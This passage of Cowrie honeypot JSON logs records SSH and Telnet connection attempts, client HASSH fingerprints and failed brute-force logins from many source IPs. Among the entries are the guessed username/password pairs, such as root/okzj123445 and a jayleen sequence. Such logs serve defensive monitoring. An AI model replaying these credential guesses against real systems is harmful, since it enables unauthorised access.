com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:50.941557Z","src_ip":"190.242.109.42","session":"8f7b1d933ad5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Pa22w0rd","message":"login attempt [ubuntu/Pa22w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:51.321908Z","src_ip":"190.242.109.42","session":"8f7b1d933ad5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.147.159.91","src_port":33590,"dst_ip":"10.17.0.5","dst_port":22,"session":"65e265fe5395","protocol":"ssh","message":"New connection: 103.147.159.91:33590 (10.17.0.5:22) [session: 65e265fe5395]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:51.887579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:51.893676Z","src_ip":"103.147.159.91","session":"65e265fe5395","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:52.135294Z","src_ip":"103.147.159.91","session":"65e265fe5395","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:52.412120Z","src_ip":"190.242.109.42","session":"8f7b1d933ad5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"1234","message":"login attempt [debian/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:53.132874Z","src_ip":"103.147.159.91","session":"65e265fe5395","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:54.377314Z","src_ip":"103.147.159.91","session":"65e265fe5395","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":10604,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2e2078acc6b","protocol":"ssh","message":"New connection: 193.24.211.100:10604 (159.203.135.109:22) [session: d2e2078acc6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:01.674011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:01.678990Z","src_ip":"193.24.211.100","session":"d2e2078acc6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:01.793351Z","src_ip":"193.24.211.100","session":"d2e2078acc6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"okzj123445","message":"login attempt [root/okzj123445] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:02.222708Z","src_ip":"193.24.211.100","session":"d2e2078acc6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:03.335657Z","src_ip":"193.24.211.100","session":"d2e2078acc6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0101523399353,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:12.589859Z","src_ip":"212.55.149.117","session":"4ab5811a3d47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.816871166229248,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:21.057128Z","src_ip":"89.117.58.230","session":"f7efd1a90b17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.146","src_port":14163,"dst_ip":"10.17.0.5","dst_port":22,"session":"55125a18319a","protocol":"ssh","message":"New connection: 74.87.117.146:14163 (10.17.0.5:22) [session: 55125a18319a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:29.489141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:29.494539Z","src_ip":"74.87.117.146","session":"55125a18319a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:29.519333Z","src_ip":"74.87.117.146","session":"55125a18319a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"testtesttest","message":"login attempt [test/testtesttest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:29.648868Z","src_ip":"74.87.117.146","session":"55125a18319a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:30.676570Z","src_ip":"74.87.117.146","session":"55125a18319a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":63857,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e32f429c9c8","protocol":"telnet","message":"New connection: 212.55.149.117:63857 (10.17.0.5:23) [session: 5e32f429c9c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:32.778597Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":45293,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc41e8de6e51","protocol":"telnet","message":"New connection: 212.55.149.117:45293 (10.17.0.5:23) [session: bc41e8de6e51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:34.546354Z"}
{"eventid":"cowrie.session.connect","src_ip":"151.80.141.196","src_port":49618,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d05315b34a9","protocol":"ssh","message":"New connection: 151.80.141.196:49618 (10.17.0.5:22) [session: 5d05315b34a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:35.058588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:35.065345Z","src_ip":"151.80.141.196","session":"5d05315b34a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:35.145303Z","src_ip":"151.80.141.196","session":"5d05315b34a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"developer","message":"login attempt [dev/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:35.481751Z","src_ip":"151.80.141.196","session":"5d05315b34a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:36.565320Z","src_ip":"151.80.141.196","session":"5d05315b34a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.45","src_port":53864,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3f9b0371b93","protocol":"ssh","message":"New connection: 31.57.216.45:53864 (159.203.135.109:22) [session: f3f9b0371b93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:37.720379Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:37.724315Z","src_ip":"31.57.216.45","session":"f3f9b0371b93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.45","src_port":53874,"dst_ip":"159.203.135.109","dst_port":22,"session":"664d035d8981","protocol":"ssh","message":"New connection: 31.57.216.45:53874 (159.203.135.109:22) [session: 664d035d8981]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:37.883442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:37.891052Z","src_ip":"31.57.216.45","session":"664d035d8981","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:37.994569Z","src_ip":"31.57.216.45","session":"664d035d8981","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fa","message":"login attempt [root/fa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:38.204787Z","src_ip":"31.57.216.45","session":"664d035d8981","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:39.319028Z","src_ip":"31.57.216.45","session":"664d035d8981","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":25533,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae9b908ba67b","protocol":"ssh","message":"New connection: 213.209.159.56:25533 (159.203.135.109:22) [session: ae9b908ba67b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:43.567063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:43.571727Z","src_ip":"213.209.159.56","session":"ae9b908ba67b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:43.660138Z","src_ip":"213.209.159.56","session":"ae9b908ba67b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jayleen","password":"jayleen","message":"login attempt [jayleen/jayleen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:44.058646Z","src_ip":"213.209.159.56","session":"ae9b908ba67b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jayleen","password":"jayleen1","message":"login attempt [jayleen/jayleen1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:45.143917Z","src_ip":"213.209.159.56","session":"ae9b908ba67b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.147.159.91","src_port":33652,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d346f9f11c8","protocol":"ssh","message":"New connection: 103.147.159.91:33652 (10.17.0.5:22) [session: 4d346f9f11c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:45.649687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:45.657739Z","src_ip":"103.147.159.91","session":"4d346f9f11c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:45.895784Z","src_ip":"103.147.159.91","session":"4d346f9f11c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jayleen","password":"jayleen123","message":"login attempt [jayleen/jayleen123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:46.228284Z","src_ip":"213.209.159.56","session":"ae9b908ba67b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftp","password":"111111","message":"login attempt [sftp/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:46.875058Z","src_ip":"103.147.159.91","session":"4d346f9f11c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jayleen","password":"jayleen1234","message":"login attempt [jayleen/jayleen1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:47.312810Z","src_ip":"213.209.159.56","session":"ae9b908ba67b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00122618675232,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:47.476570Z","src_ip":"212.55.149.117","session":"029d9a8c0c62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:48.114302Z","src_ip":"103.147.159.91","session":"4d346f9f11c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jayleen","password":"jayleen12345","message":"login attempt [jayleen/jayleen12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:44:48.397869Z","src_ip":"213.209.159.56","session":"ae9b908ba67b","protocol":"ssh"}
